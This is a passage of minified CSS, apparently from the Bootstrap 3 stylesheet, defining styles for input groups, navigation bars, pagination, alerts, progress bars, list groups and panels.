ot(:first-child)>.btn:first-child{border-top-right-radius:0;border-top-left-radius:0}.btn-group-justified{display:table;width:100%;table-layout:fixed;border-collapse:separate}.btn-group-justified>.btn,.btn-group-justified>.btn-group{float:none;display:table-cell;width:1%}.btn-group-justified>.btn-group .btn{width:100%}[data-toggle=buttons]>.btn>input[type=radio],[data-toggle=buttons]>.btn>input[type=checkbox]{display:none}.input-group{position:relative;display:table;border-collapse:separate}.input-group[class*=col-]{float:none;padding-left:0;padding-right:0}.input-group .form-control{position:relative;z-index:2;float:left;width:100%;margin-bottom:0}.input-group-lg>.form-control,.input-group-lg>.input-group-addon,.input-group-lg>.input-group-btn>.btn{height:46px;padding:10px 16px;font-size:18px;line-height:1.33;border-radius:6px}select.input-group-lg>.form-control,select.input-group-lg>.input-group-addon,select.input-group-lg>.input-group-btn>.btn{height:46px;line-height:46px}textarea.input-group-lg>.form-control,textarea.input-group-lg>.input-group-addon,textarea.input-group-lg>.input-group-btn>.btn,select[multiple].input-group-lg>.form-control,select[multiple].input-group-lg>.input-group-addon,select[multiple].input-group-lg>.input-group-btn>.btn{height:auto}.input-group-sm>.form-control,.input-group-sm>.input-group-addon,.input-group-sm>.input-group-btn>.btn{height:30px;padding:5px 10px;font-size:12px;line-height:1.5;border-radius:3px}select.input-group-sm>.form-control,select.input-group-sm>.input-group-addon,select.input-group-sm>.input-group-btn>.btn{height:30px;line-height:30px}textarea.input-group-sm>.form-control,textarea.input-group-sm>.input-group-addon,textarea.input-group-sm>.input-group-btn>.btn,select[multiple].input-group-sm>.form-control,select[multiple].input-group-sm>.input-group-addon,select[multiple].input-group-sm>.input-group-btn>.btn{height:auto}.input-group-addon,.input-group-btn,.input-group .form-control{display:table-cell}.input-group-addon:not(:first-child):not(:last-child),.input-group-btn:not(:first-child):not(:last-child),.input-group .form-control:not(:first-child):not(:last-child){border-radius:0}.input-group-addon,.input-group-btn{width:1%;white-space:nowrap;vertical-align:middle}.input-group-addon{padding:6px 12px;font-size:14px;font-weight:400;line-height:1;color:#555;text-align:center;background-color:#eee;border:1px solid #ccc;border-radius:4px}.input-group-addon.input-sm{padding:5px 10px;font-size:12px;border-radius:3px}.input-group-addon.input-lg{padding:10px 16px;font-size:18px;border-radius:6px}.input-group-addon input[type=radio],.input-group-addon input[type=checkbox]{margin-top:0}.input-group .form-control:first-child,.input-group-addon:first-child,.input-group-btn:first-child>.btn,.input-group-btn:first-child>.btn-group>.btn,.input-group-btn:first-child>.dropdown-toggle,.input-group-btn:last-child>.btn:not(:last-child):not(.dropdown-toggle),.input-group-btn:last-child>.btn-group:not(:last-child)>.btn{border-bottom-right-radius:0;border-top-right-radius:0}.input-group-addon:first-child{border-right:0}.input-group .form-control:last-child,.input-group-addon:last-child,.input-group-btn:last-child>.btn,.input-group-btn:last-child>.btn-group>.btn,.input-group-btn:last-child>.dropdown-toggle,.input-group-btn:first-child>.btn:not(:first-child),.input-group-btn:first-child>.btn-group:not(:first-child)>.btn{border-bottom-left-radius:0;border-top-left-radius:0}.input-group-addon:last-child{border-left:0}.input-group-btn{position:relative;font-size:0;white-space:nowrap}.input-group-btn>.btn{position:relative}.input-group-btn>.btn+.btn{margin-left:-1px}.input-group-btn>.btn:hover,.input-group-btn>.btn:focus,.input-group-btn>.btn:active{z-index:2}.input-group-btn:first-child>.btn,.input-group-btn:first-child>.btn-group{margin-right:-1px}.input-group-btn:last-child>.btn,.input-group-btn:last-child>.btn-group{margin-left:-1px}.nav{margin-bottom:0;padding-left:0;list-style:none}.nav>li{position:relative;display:block}.nav>li>a{position:relative;display:block;padding:10px 15px}.nav>li>a:hover,.nav>li>a:focus{text-decoration:none;background-color:#eee}.nav>li.disabled>a{color:#999}.nav>li.disabled>a:hover,.nav>li.disabled>a:focus{color:#999;text-decoration:none;background-color:transparent;cursor:not-allowed}.nav .open>a,.nav .open>a:hover,.nav .open>a:focus{background-color:#eee;border-color:#428bca}.nav .nav-divider{height:1px;margin:9px 0;overflow:hidden;background-color:#e5e5e5}.nav>li>a>img{max-width:none}.nav-tabs{border-bottom:1px solid #ddd}.nav-tabs>li{float:left;margin-bottom:-1px}.nav-tabs>li>a{margin-right:2px;line-height:1.42857143;border:1px solid transparent;border-radius:4px 4px 0 0}.nav-tabs>li>a:hover{border-color:#eee #eee #ddd}.nav-tabs>li.active>a,.nav-tabs>li.active>a:hover,.nav-tabs>li.active>a:focus{color:#555;background-color:#fff;border:1px solid #ddd;border-bottom-color:transparent;cursor:default}.nav-tabs.nav-justified{width:100%;border-bottom:0}.nav-tabs.nav-justified>li{float:none}.nav-tabs.nav-justified>li>a{text-align:center;margin-bottom:5px}.nav-tabs.nav-justified>.dropdown .dropdown-menu{top:auto;left:auto}@media (min-width:768px){.nav-tabs.nav-justified>li{display:table-cell;width:1%}.nav-tabs.nav-justified>li>a{margin-bottom:0}}.nav-tabs.nav-justified>li>a{margin-right:0;border-radius:4px}.nav-tabs.nav-justified>.active>a,.nav-tabs.nav-justified>.active>a:hover,.nav-tabs.nav-justified>.active>a:focus{border:1px solid #ddd}@media (min-width:768px){.nav-tabs.nav-justified>li>a{border-bottom:1px solid #ddd;border-radius:4px 4px 0 0}.nav-tabs.nav-justified>.active>a,.nav-tabs.nav-justified>.active>a:hover,.nav-tabs.nav-justified>.active>a:focus{border-bottom-color:#fff}}.nav-pills>li{float:left}.nav-pills>li>a{border-radius:4px}.nav-pills>li+li{margin-left:2px}.nav-pills>li.active>a,.nav-pills>li.active>a:hover,.nav-pills>li.active>a:focus{color:#fff;background-color:#428bca}.nav-stacked>li{float:none}.nav-stacked>li+li{margin-top:2px;margin-left:0}.nav-justified{width:100%}.nav-justified>li{float:none}.nav-justified>li>a{text-align:center;margin-bottom:5px}.nav-justified>.dropdown .dropdown-menu{top:auto;left:auto}@media (min-width:768px){.nav-justified>li{display:table-cell;width:1%}.nav-justified>li>a{margin-bottom:0}}.nav-tabs-justified{border-bottom:0}.nav-tabs-justified>li>a{margin-right:0;border-radius:4px}.nav-tabs-justified>.active>a,.nav-tabs-justified>.active>a:hover,.nav-tabs-justified>.active>a:focus{border:1px solid #ddd}@media (min-width:768px){.nav-tabs-justified>li>a{border-bottom:1px solid #ddd;border-radius:4px 4px 0 0}.nav-tabs-justified>.active>a,.nav-tabs-justified>.active>a:hover,.nav-tabs-justified>.active>a:focus{border-bottom-color:#fff}}.tab-content>.tab-pane{display:none}.tab-content>.active{display:block}.nav-tabs .dropdown-menu{margin-top:-1px;border-top-right-radius:0;border-top-left-radius:0}.navbar{position:relative;min-height:50px;margin-bottom:20px;border:1px solid transparent}@media (min-width:768px){.navbar{border-radius:4px}}@media (min-width:768px){.navbar-header{float:left}}.navbar-collapse{max-height:340px;overflow-x:visible;padding-right:15px;padding-left:15px;border-top:1px solid transparent;box-shadow:inset 0 1px 0 rgba(255,255,255,.1);-webkit-overflow-scrolling:touch}.navbar-collapse.in{overflow-y:auto}@media (min-width:768px){.navbar-collapse{width:auto;border-top:0;box-shadow:none}.navbar-collapse.collapse{display:block!important;height:auto!important;padding-bottom:0;overflow:visible!important}.navbar-collapse.in{overflow-y:visible}.navbar-fixed-top .navbar-collapse,.navbar-static-top .navbar-collapse,.navbar-fixed-bottom .navbar-collapse{padding-left:0;padding-right:0}}.container>.navbar-header,.container-fluid>.navbar-header,.container>.navbar-collapse,.container-fluid>.navbar-collapse{margin-right:-15px;margin-left:-15px}@media (min-width:768px){.container>.navbar-header,.container-fluid>.navbar-header,.container>.navbar-collapse,.container-fluid>.navbar-collapse{margin-right:0;margin-left:0}}.navbar-static-top{z-index:1000;border-width:0 0 1px}@media (min-width:768px){.navbar-static-top{border-radius:0}}.navbar-fixed-top,.navbar-fixed-bottom{position:fixed;right:0;left:0;z-index:1030}@media (min-width:768px){.navbar-fixed-top,.navbar-fixed-bottom{border-radius:0}}.navbar-fixed-top{top:0;border-width:0 0 1px}.navbar-fixed-bottom{bottom:0;margin-bottom:0;border-width:1px 0 0}.navbar-brand{float:left;padding:15px;font-size:18px;line-height:20px;height:50px}.navbar-brand:hover,.navbar-brand:focus{text-decoration:none}@media (min-width:768px){.navbar>.container .navbar-brand,.navbar>.container-fluid .navbar-brand{margin-left:-15px}}.navbar-toggle{position:relative;float:right;margin-right:15px;padding:9px 10px;margin-top:8px;margin-bottom:8px;background-color:transparent;background-image:none;border:1px solid transparent;border-radius:4px}.navbar-toggle:focus{outline:0}.navbar-toggle .icon-bar{display:block;width:22px;height:2px;border-radius:1px}.navbar-toggle .icon-bar+.icon-bar{margin-top:4px}@media (min-width:768px){.navbar-toggle{display:none}}.navbar-nav{margin:7.5px -15px}.navbar-nav>li>a{padding-top:10px;padding-bottom:10px;line-height:20px}@media (max-width:767px){.navbar-nav .open .dropdown-menu{position:static;float:none;width:auto;margin-top:0;background-color:transparent;border:0;box-shadow:none}.navbar-nav .open .dropdown-menu>li>a,.navbar-nav .open .dropdown-menu .dropdown-header{padding:5px 15px 5px 25px}.navbar-nav .open .dropdown-menu>li>a{line-height:20px}.navbar-nav .open .dropdown-menu>li>a:hover,.navbar-nav .open .dropdown-menu>li>a:focus{background-image:none}}@media (min-width:768px){.navbar-nav{float:left;margin:0}.navbar-nav>li{float:left}.navbar-nav>li>a{padding-top:15px;padding-bottom:15px}.navbar-nav.navbar-right:last-child{margin-right:-15px}}@media (min-width:768px){.navbar-left{float:left!important}.navbar-right{float:right!important}}.navbar-form{margin-left:-15px;margin-right:-15px;padding:10px 15px;border-top:1px solid transparent;border-bottom:1px solid transparent;-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,.1),0 1px 0 rgba(255,255,255,.1);box-shadow:inset 0 1px 0 rgba(255,255,255,.1),0 1px 0 rgba(255,255,255,.1);margin-top:8px;margin-bottom:8px}@media (min-width:768px){.navbar-form .form-group{display:inline-block;margin-bottom:0;vertical-align:middle}.navbar-form .form-control{display:inline-block;width:auto;vertical-align:middle}.navbar-form .input-group>.form-control{width:100%}.navbar-form .control-label{margin-bottom:0;vertical-align:middle}.navbar-form .radio,.navbar-form .checkbox{display:inline-block;margin-top:0;margin-bottom:0;padding-left:0;vertical-align:middle}.navbar-form .radio input[type=radio],.navbar-form .checkbox input[type=checkbox]{float:none;margin-left:0}.navbar-form .has-feedback .form-control-feedback{top:0}}@media (max-width:767px){.navbar-form .form-group{margin-bottom:5px}}@media (min-width:768px){.navbar-form{width:auto;border:0;margin-left:0;margin-right:0;padding-top:0;padding-bottom:0;-webkit-box-shadow:none;box-shadow:none}.navbar-form.navbar-right:last-child{margin-right:-15px}}.navbar-nav>li>.dropdown-menu{margin-top:0;border-top-right-radius:0;border-top-left-radius:0}.navbar-fixed-bottom .navbar-nav>li>.dropdown-menu{border-bottom-right-radius:0;border-bottom-left-radius:0}.navbar-btn{margin-top:8px;margin-bottom:8px}.navbar-btn.btn-sm{margin-top:10px;margin-bottom:10px}.navbar-btn.btn-xs{margin-top:14px;margin-bottom:14px}.navbar-text{margin-top:15px;margin-bottom:15px}@media (min-width:768px){.navbar-text{float:left;margin-left:15px;margin-right:15px}.navbar-text.navbar-right:last-child{margin-right:0}}.navbar-default{background-color:#f8f8f8;border-color:#e7e7e7}.navbar-default .navbar-brand{color:#777}.navbar-default .navbar-brand:hover,.navbar-default .navbar-brand:focus{color:#5e5e5e;background-color:transparent}.navbar-default .navbar-text{color:#777}.navbar-default .navbar-nav>li>a{color:#777}.navbar-default .navbar-nav>li>a:hover,.navbar-default .navbar-nav>li>a:focus{color:#333;background-color:transparent}.navbar-default .navbar-nav>.active>a,.navbar-default .navbar-nav>.active>a:hover,.navbar-default .navbar-nav>.active>a:focus{color:#555;background-color:#e7e7e7}.navbar-default .navbar-nav>.disabled>a,.navbar-default .navbar-nav>.disabled>a:hover,.navbar-default .navbar-nav>.disabled>a:focus{color:#ccc;background-color:transparent}.navbar-default .navbar-toggle{border-color:#ddd}.navbar-default .navbar-toggle:hover,.navbar-default .navbar-toggle:focus{background-color:#ddd}.navbar-default .navbar-toggle .icon-bar{background-color:#888}.navbar-default .navbar-collapse,.navbar-default .navbar-form{border-color:#e7e7e7}.navbar-default .navbar-nav>.open>a,.navbar-default .navbar-nav>.open>a:hover,.navbar-default .navbar-nav>.open>a:focus{background-color:#e7e7e7;color:#555}@media (max-width:767px){.navbar-default .navbar-nav .open .dropdown-menu>li>a{color:#777}.navbar-default .navbar-nav .open .dropdown-menu>li>a:hover,.navbar-default .navbar-nav .open .dropdown-menu>li>a:focus{color:#333;background-color:transparent}.navbar-default .navbar-nav .open .dropdown-menu>.active>a,.navbar-default .navbar-nav .open .dropdown-menu>.active>a:hover,.navbar-default .navbar-nav .open .dropdown-menu>.active>a:focus{color:#555;background-color:#e7e7e7}.navbar-default .navbar-nav .open .dropdown-menu>.disabled>a,.navbar-default .navbar-nav .open .dropdown-menu>.disabled>a:hover,.navbar-default .navbar-nav .open .dropdown-menu>.disabled>a:focus{color:#ccc;background-color:transparent}}.navbar-default .navbar-link{color:#777}.navbar-default .navbar-link:hover{color:#333}.navbar-inverse{background-color:#222;border-color:#080808}.navbar-inverse .navbar-brand{color:#999}.navbar-inverse .navbar-brand:hover,.navbar-inverse .navbar-brand:focus{color:#fff;background-color:transparent}.navbar-inverse .navbar-text{color:#999}.navbar-inverse .navbar-nav>li>a{color:#999}.navbar-inverse .navbar-nav>li>a:hover,.navbar-inverse .navbar-nav>li>a:focus{color:#fff;background-color:transparent}.navbar-inverse .navbar-nav>.active>a,.navbar-inverse .navbar-nav>.active>a:hover,.navbar-inverse .navbar-nav>.active>a:focus{color:#fff;background-color:#080808}.navbar-inverse .navbar-nav>.disabled>a,.navbar-inverse .navbar-nav>.disabled>a:hover,.navbar-inverse .navbar-nav>.disabled>a:focus{color:#444;background-color:transparent}.navbar-inverse .navbar-toggle{border-color:#333}.navbar-inverse .navbar-toggle:hover,.navbar-inverse .navbar-toggle:focus{background-color:#333}.navbar-inverse .navbar-toggle .icon-bar{background-color:#fff}.navbar-inverse .navbar-collapse,.navbar-inverse .navbar-form{border-color:#101010}.navbar-inverse .navbar-nav>.open>a,.navbar-inverse .navbar-nav>.open>a:hover,.navbar-inverse .navbar-nav>.open>a:focus{background-color:#080808;color:#fff}@media (max-width:767px){.navbar-inverse .navbar-nav .open .dropdown-menu>.dropdown-header{border-color:#080808}.navbar-inverse .navbar-nav .open .dropdown-menu .divider{background-color:#080808}.navbar-inverse .navbar-nav .open .dropdown-menu>li>a{color:#999}.navbar-inverse .navbar-nav .open .dropdown-menu>li>a:hover,.navbar-inverse .navbar-nav .open .dropdown-menu>li>a:focus{color:#fff;background-color:transparent}.navbar-inverse .navbar-nav .open .dropdown-menu>.active>a,.navbar-inverse .navbar-nav .open .dropdown-menu>.active>a:hover,.navbar-inverse .navbar-nav .open .dropdown-menu>.active>a:focus{color:#fff;background-color:#080808}.navbar-inverse .navbar-nav .open .dropdown-menu>.disabled>a,.navbar-inverse .navbar-nav .open .dropdown-menu>.disabled>a:hover,.navbar-inverse .navbar-nav .open .dropdown-menu>.disabled>a:focus{color:#444;background-color:transparent}}.navbar-inverse .navbar-link{color:#999}.navbar-inverse .navbar-link:hover{color:#fff}.breadcrumb{padding:8px 15px;margin-bottom:20px;list-style:none;background-color:#f5f5f5;border-radius:4px}.breadcrumb>li{display:inline-block}.breadcrumb>li+li:before{content:"/\00a0";padding:0 5px;color:#ccc}.breadcrumb>.active{color:#999}.pagination{display:inline-block;padding-left:0;margin:20px 0;border-radius:4px}.pagination>li{display:inline}.pagination>li>a,.pagination>li>span{position:relative;float:left;padding:6px 12px;line-height:1.42857143;text-decoration:none;color:#428bca;background-color:#fff;border:1px solid #ddd;margin-left:-1px}.pagination>li:first-child>a,.pagination>li:first-child>span{margin-left:0;border-bottom-left-radius:4px;border-top-left-radius:4px}.pagination>li:last-child>a,.pagination>li:last-child>span{border-bottom-right-radius:4px;border-top-right-radius:4px}.pagination>li>a:hover,.pagination>li>span:hover,.pagination>li>a:focus,.pagination>li>span:focus{color:#2a6496;background-color:#eee;border-color:#ddd}.pagination>.active>a,.pagination>.active>span,.pagination>.active>a:hover,.pagination>.active>span:hover,.pagination>.active>a:focus,.pagination>.active>span:focus{z-index:2;color:#fff;background-color:#428bca;border-color:#428bca;cursor:default}.pagination>.disabled>span,.pagination>.disabled>span:hover,.pagination>.disabled>span:focus,.pagination>.disabled>a,.pagination>.disabled>a:hover,.pagination>.disabled>a:focus{color:#999;background-color:#fff;border-color:#ddd;cursor:not-allowed}.pagination-lg>li>a,.pagination-lg>li>span{padding:10px 16px;font-size:18px}.pagination-lg>li:first-child>a,.pagination-lg>li:first-child>span{border-bottom-left-radius:6px;border-top-left-radius:6px}.pagination-lg>li:last-child>a,.pagination-lg>li:last-child>span{border-bottom-right-radius:6px;border-top-right-radius:6px}.pagination-sm>li>a,.pagination-sm>li>span{padding:5px 10px;font-size:12px}.pagination-sm>li:first-child>a,.pagination-sm>li:first-child>span{border-bottom-left-radius:3px;border-top-left-radius:3px}.pagination-sm>li:last-child>a,.pagination-sm>li:last-child>span{border-bottom-right-radius:3px;border-top-right-radius:3px}.pager{padding-left:0;margin:20px 0;list-style:none;text-align:center}.pager li{display:inline}.pager li>a,.pager li>span{display:inline-block;padding:5px 14px;background-color:#fff;border:1px solid #ddd;border-radius:15px}.pager li>a:hover,.pager li>a:focus{text-decoration:none;background-color:#eee}.pager .next>a,.pager .next>span{float:right}.pager .previous>a,.pager .previous>span{float:left}.pager .disabled>a,.pager .disabled>a:hover,.pager .disabled>a:focus,.pager .disabled>span{color:#999;background-color:#fff;cursor:not-allowed}.label{display:inline;padding:.2em .6em .3em;font-size:75%;font-weight:700;line-height:1;color:#fff;text-align:center;white-space:nowrap;vertical-align:baseline;border-radius:.25em}.label[href]:hover,.label[href]:focus{color:#fff;text-decoration:none;cursor:pointer}.label:empty{display:none}.btn .label{position:relative;top:-1px}.label-default{background-color:#999}.label-default[href]:hover,.label-default[href]:focus{background-color:gray}.label-primary{background-color:#428bca}.label-primary[href]:hover,.label-primary[href]:focus{background-color:#3071a9}.label-success{background-color:#5cb85c}.label-success[href]:hover,.label-success[href]:focus{background-color:#449d44}.label-info{background-color:#5bc0de}.label-info[href]:hover,.label-info[href]:focus{background-color:#31b0d5}.label-warning{background-color:#f0ad4e}.label-warning[href]:hover,.label-warning[href]:focus{background-color:#ec971f}.label-danger{background-color:#d9534f}.label-danger[href]:hover,.label-danger[href]:focus{background-color:#c9302c}.badge{display:inline-block;min-width:10px;padding:3px 7px;font-size:12px;font-weight:700;color:#fff;line-height:1;vertical-align:baseline;white-space:nowrap;text-align:center;background-color:#999;border-radius:10px}.badge:empty{display:none}.btn .badge{position:relative;top:-1px}.btn-xs .badge{top:0;padding:1px 5px}a.badge:hover,a.badge:focus{color:#fff;text-decoration:none;cursor:pointer}a.list-group-item.active>.badge,.nav-pills>.active>a>.badge{color:#428bca;background-color:#fff}.nav-pills>li>a>.badge{margin-left:3px}.jumbotron{padding:30px;margin-bottom:30px;color:inherit;background-color:#eee}.jumbotron h1,.jumbotron .h1{color:inherit}.jumbotron p{margin-bottom:15px;font-size:21px;font-weight:200}.container .jumbotron{border-radius:6px}.jumbotron .container{max-width:100%}@media screen and (min-width:768px){.jumbotron{padding-top:48px;padding-bottom:48px}.container .jumbotron{padding-left:60px;padding-right:60px}.jumbotron h1,.jumbotron .h1{font-size:63px}}.thumbnail{display:block;padding:4px;margin-bottom:20px;line-height:1.42857143;background-color:#fff;border:1px solid #ddd;border-radius:4px;-webkit-transition:all .2s ease-in-out;transition:all .2s ease-in-out}.thumbnail>img,.thumbnail a>img{margin-left:auto;margin-right:auto}a.thumbnail:hover,a.thumbnail:focus,a.thumbnail.active{border-color:#428bca}.thumbnail .caption{padding:9px;color:#333}.alert{padding:15px;margin-bottom:20px;border:1px solid transparent;border-radius:4px}.alert h4{margin-top:0;color:inherit}.alert .alert-link{font-weight:700}.alert>p,.alert>ul{margin-bottom:0}.alert>p+p{margin-top:5px}.alert-dismissable{padding-right:35px}.alert-dismissable .close{position:relative;top:-2px;right:-21px;color:inherit}.alert-success{background-color:#dff0d8;border-color:#d6e9c6;color:#3c763d}.alert-success hr{border-top-color:#c9e2b3}.alert-success .alert-link{color:#2b542c}.alert-info{background-color:#d9edf7;border-color:#bce8f1;color:#31708f}.alert-info hr{border-top-color:#a6e1ec}.alert-info .alert-link{color:#245269}.alert-warning{background-color:#fcf8e3;border-color:#faebcc;color:#8a6d3b}.alert-warning hr{border-top-color:#f7e1b5}.alert-warning .alert-link{color:#66512c}.alert-danger{background-color:#f2dede;border-color:#ebccd1;color:#a94442}.alert-danger hr{border-top-color:#e4b9c0}.alert-danger .alert-link{color:#843534}@-webkit-keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}.progress{overflow:hidden;height:20px;margin-bottom:20px;background-color:#f5f5f5;border-radius:4px;-webkit-box-shadow:inset 0 1px 2px rgba(0,0,0,.1);box-shadow:inset 0 1px 2px rgba(0,0,0,.1)}.progress-bar{float:left;width:0;height:100%;font-size:12px;line-height:20px;color:#fff;text-align:center;background-color:#428bca;-webkit-box-shadow:inset 0 -1px 0 rgba(0,0,0,.15);box-shadow:inset 0 -1px 0 rgba(0,0,0,.15);-webkit-transition:width .6s ease;transition:width .6s ease}.progress-striped .progress-bar{background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-size:40px 40px}.progress.active .progress-bar{-webkit-animation:progress-bar-stripes 2s linear infinite;animation:progress-bar-stripes 2s linear infinite}.progress-bar-success{background-color:#5cb85c}.progress-striped .progress-bar-success{background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent)}.progress-bar-info{background-color:#5bc0de}.progress-striped .progress-bar-info{background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent)}.progress-bar-warning{background-color:#f0ad4e}.progress-striped .progress-bar-warning{background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent)}.progress-bar-danger{background-color:#d9534f}.progress-striped .progress-bar-danger{background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent)}.media,.media-body{overflow:hidden;zoom:1}.media,.media .media{margin-top:15px}.media:first-child{margin-top:0}.media-object{display:block}.media-heading{margin:0 0 5px}.media>.pull-left{margin-right:10px}.media>.pull-right{margin-left:10px}.media-list{padding-left:0;list-style:none}.list-group{margin-bottom:20px;padding-left:0}.list-group-item{position:relative;display:block;padding:10px 15px;margin-bottom:-1px;background-color:#fff;border:1px solid #ddd}.list-group-item:first-child{border-top-right-radius:4px;border-top-left-radius:4px}.list-group-item:last-child{margin-bottom:0;border-bottom-right-radius:4px;border-bottom-left-radius:4px}.list-group-item>.badge{float:right}.list-group-item>.badge+.badge{margin-right:5px}a.list-group-item{color:#555}a.list-group-item .list-group-item-heading{color:#333}a.list-group-item:hover,a.list-group-item:focus{text-decoration:none;background-color:#f5f5f5}a.list-group-item.active,a.list-group-item.active:hover,a.list-group-item.active:focus{z-index:2;color:#fff;background-color:#428bca;border-color:#428bca}a.list-group-item.active .list-group-item-heading,a.list-group-item.active:hover .list-group-item-heading,a.list-group-item.active:focus .list-group-item-heading{color:inherit}a.list-group-item.active .list-group-item-text,a.list-group-item.active:hover .list-group-item-text,a.list-group-item.active:focus .list-group-item-text{color:#e1edf7}.list-group-item-success{color:#3c763d;background-color:#dff0d8}a.list-group-item-success{color:#3c763d}a.list-group-item-success .list-group-item-heading{color:inherit}a.list-group-item-success:hover,a.list-group-item-success:focus{color:#3c763d;background-color:#d0e9c6}a.list-group-item-success.active,a.list-group-item-success.active:hover,a.list-group-item-success.active:focus{color:#fff;background-color:#3c763d;border-color:#3c763d}.list-group-item-info{color:#31708f;background-color:#d9edf7}a.list-group-item-info{color:#31708f}a.list-group-item-info .list-group-item-heading{color:inherit}a.list-group-item-info:hover,a.list-group-item-info:focus{color:#31708f;background-color:#c4e3f3}a.list-group-item-info.active,a.list-group-item-info.active:hover,a.list-group-item-info.active:focus{color:#fff;background-color:#31708f;border-color:#31708f}.list-group-item-warning{color:#8a6d3b;background-color:#fcf8e3}a.list-group-item-warning{color:#8a6d3b}a.list-group-item-warning .list-group-item-heading{color:inherit}a.list-group-item-warning:hover,a.list-group-item-warning:focus{color:#8a6d3b;background-color:#faf2cc}a.list-group-item-warning.active,a.list-group-item-warning.active:hover,a.list-group-item-warning.active:focus{color:#fff;background-color:#8a6d3b;border-color:#8a6d3b}.list-group-item-danger{color:#a94442;background-color:#f2dede}a.list-group-item-danger{color:#a94442}a.list-group-item-danger .list-group-item-heading{color:inherit}a.list-group-item-danger:hover,a.list-group-item-danger:focus{color:#a94442;background-color:#ebcccc}a.list-group-item-danger.active,a.list-group-item-danger.active:hover,a.list-group-item-danger.active:focus{color:#fff;background-color:#a94442;border-color:#a94442}.list-group-item-heading{margin-top:0;margin-bottom:5px}.list-group-item-text{margin-bottom:0;line-height:1.3}.panel{margin-bottom:20px;background-color:#fff;border:1px solid transparent;border-radius:4px;-webkit-box-shadow:0 1px 1px rgba(0,0,0,.05);box-shadow:0 1px 1px rgba(0,0,0,.05)}.panel-body{padding:15px}.panel-heading{padding:10px 15px;border-bottom:1px solid transparent;border-top-right-radius:3px;border-top-left-radius:3px}.panel-heading>.dropdown .dropdown-toggle{color:inherit}.panel-title{margin-top:0;margin-bottom:0;font-size:16px;color:inherit}.panel-title>a{color:inherit}.panel-footer{padding:10px 15px;background-color:#f5f5f5;border-top:1px solid #ddd;border-bottom-right-radius:3px;border-bottom-left-radius:3px}.panel>.list-group{margin-bottom:0}.panel>.list-group .list-group-item{border-width:1px 0;border-radius:0}.panel>.list-group:first-child .list-group-item:first-child{border-top:0;border-top-right-radius:3px;border-top-left-radius:3px}.panel>.list-group:last-child .list-group-item:last-child{border-bottom:0;border-bottom-right-radius:3px;border-bottom-left-radius:3px}.panel-heading+.list-group .list-group-item:first-child{border-top-width:0}.panel>.table,.panel>.table-responsive>.table{margin-bottom:0}.panel>.table:first-child,.panel>.table-responsive:first-child>.table:first-child{border-top-right-radius:3px;border-top-left-radius:3px}.panel>.table:first-child>thead:first-child>tr:first-child td:first-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child td:first-child,.panel>.table:first-child>tbody:first-child>tr:first-child td:first-child,.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child td:first-child,.panel>.table:first-child>thead:first-child>tr:first-child th:first-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child th:first-child,.panel>.table:first-child>tbody:first-child>tr:first-child th:first-child,.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child th:first-child{border-top-left-radius:3px}.panel>.table:first-child>thead:first-child>tr:first-child td:last-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child td:last-child,.panel>.table:first-child>tbody:first-child>tr:first-child td:last-child,.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child td:last-child,.panel>.table:first-child>thead:first-child>tr:first-child th:last-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child th:last-child,.panel>.table:first-child>tbody:first-child>tr:first-child th:last-child,.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child th:last-child{border-top-right-radius:3px}.panel>.table:last-child,.panel>.table-responsive:last-child>.table:last-child{border-bottom-right-radius:3px;border-bottom-left-radius:3px}.panel>.table:last-child>tbody:last-child>tr:last-child td:first-child,.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child td:first-child,.panel>.table:last-child>tfoot:last-child>tr:last-child td:first-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child td:first-child,.panel>.table:last-child>tbody:last-child>tr:last-child th:first-child,.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child th:first-child,.panel>.table:last-child>tfoot:last-child>tr:last-child th:first-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child th:first-child{border-bottom-left-radius:3px}.panel>.table:last-child>tbody:last-child>tr:last-child td:last-child,.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child 